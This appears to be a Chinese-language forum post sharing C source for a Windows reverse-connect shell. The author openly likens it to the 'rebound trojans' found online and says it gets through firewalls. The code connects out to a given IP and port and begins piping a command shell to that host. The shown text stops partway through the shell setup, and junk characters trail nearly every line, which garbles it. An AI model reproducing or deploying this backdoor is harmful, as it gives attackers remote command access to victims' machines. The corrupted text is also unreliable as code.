这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 E
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/* ============================== eo&^~OVT
Rebound port in Windows NT q. s'z}
By wind,2006/7 L&LAh&%{2
===============================*/ dBb
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#include P0<)E
#include H{U(Rt]K
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#pragma comment(lib,"wsock32.lib") ,?oC+9w
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void OutputShell(); `NB6Of*/
SOCKET sClient; w0&|8y
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Y{D?&x%yq
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void main(int argc,char **argv) ';zS0Yk
{ PFI^+';
WSADATA stWsaData; &1Cif$Y4w
int nRet; sDl@
SOCKADDR_IN stSaiClient,stSaiServer; 7?"-:q
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if(argc != 3) _ZHDr[
{ GAU7w"sE
printf("Useage:\n\rRebound DestIP DestPort\n"); :zp9L/eh
return; )zAATBb4.
} &hu3A)%
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WSAStartup(MAKEWORD(2,2),&stWsaData); vB Vg/
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ["0DXm%t
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stSaiClient.sin_family = AF_INET;
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stSaiClient.sin_port = htons(0); [pX cKN
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); V i<6i0
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) THy{r_dx
{ '4)4* 3z,
printf("Bind Socket Failed!\n"); ,Q,3^v-
return; bZ[ay-f6oK
} 'b:UafV
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stSaiServer.sin_family = AF_INET; bPA1>p7
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); mt\pndTy7!
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); fRK=y+gl@
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7;@o]9 W
{ <tgfbY^nL
printf("Connect Error!"); *hlinQKs
return; [13NhF3.P
} Q`!<2i;
OutputShell(); zb. ^p
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} \2[sUY<W
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void OutputShell() PwC^
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{ Jix;!("
char szBuff[1024]; q854k+C
SECURITY_ATTRIBUTES stSecurityAttributes; b&P2VqYgl
OSVERSIONINFO stOsversionInfo; N[&(e
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; U-pBat.$'C
STARTUPINFO stStartupInfo; v(`5exWV
char *szShell; of/'
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PROCESS_INFORMATION stProcessInformation; >uR;^ B5m
unsigned long lBytesRead; UHS{X~CS
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); o+g\\5s
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [/Xc},HbMe
stSecurityAttributes.lpSecurityDescriptor = 0; ZN}U^9m=
stSecurityAttributes.bInheritHandle = TRUE; seiE2F[
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); HY,VJxR[
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); sWFw[Y>
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